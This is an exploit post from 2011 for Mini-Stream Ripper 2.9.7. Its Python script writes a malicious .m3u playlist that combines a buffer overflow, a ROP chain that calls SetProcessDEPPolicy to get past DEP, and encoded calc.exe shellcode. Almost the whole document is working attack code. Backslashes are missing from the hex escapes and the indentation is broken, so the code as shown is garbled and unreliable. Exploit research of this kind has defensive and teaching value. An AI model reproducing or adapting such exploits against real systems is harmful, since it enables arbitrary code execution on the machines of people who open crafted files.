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Mini-Stream Ripper 2.9.7 DEP Bypass

Posted on 18 September 2011

# written to bypass OptIn/OptOut DEP policy
# tested on windows xp sp3 running in virtualbox
import sys

print "
============================"
print "Mini-Stream 2.9.7 DEP Bypass"
print "      Written by Blake      "
print "   Tested on Windows XP SP3 "
print "============================
"

# calc.exe
shellcode =(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47"
"x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38"
"x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48"
"x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c"
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58"
"x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44"
"x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38"
"x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33"
"x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47"
"x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a"
"x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b"
"x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53"
"x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57"
"x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39"
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46"
"x4ex46x43x36x42x50x5a")

buffer = "x41" * 26084
eip = "x95x3ax02x10"    # RETN - MSRfilter01.dll
rop = "x41" * 4            # compensate
rop += "x54x30x01x10"   # POP EBX, RETN - MSRfilter01.dll
rop += "xffxffxffxff"
rop += "x23xdax02x10"   # INC EBX, FPATAN, RETN - MSRfilter01.dll
rop += "x8fxafx01x10"   # POP EBP, RETN - MSRfilter01.dll
rop += "xa4x22x86x7c"   # SetProcessDEPPolicy
rop += "x8fxf4x01x10"   # POP EDI, RETN - MSRfilter01.dll
rop += "x90xf4x01x10"   # RETN - MSRfilter01.dll
rop += "xd5x13x01x10"   # POP ESI, RETN - MSRfilter01.dll
rop += "x90xf4x01x10"   # RETN - MSRfilter01.dll
rop += "x63xf5x01x10"   # PUSHAD, RETN - MSRfilter01.dll
nops = "x90" * 100
junk = "x43" * (4000 - len(shellcode + nops + rop))


print "[+] Creating malicious .m3u file"
try:
file = open("exploit.m3u","w")
file.write(buffer + eip + rop + nops + shellcode + junk)
file.close()
print "[+] File created"
except:
print "[x] Could not create file"

raw_input("
Press any key to exit...
")

 

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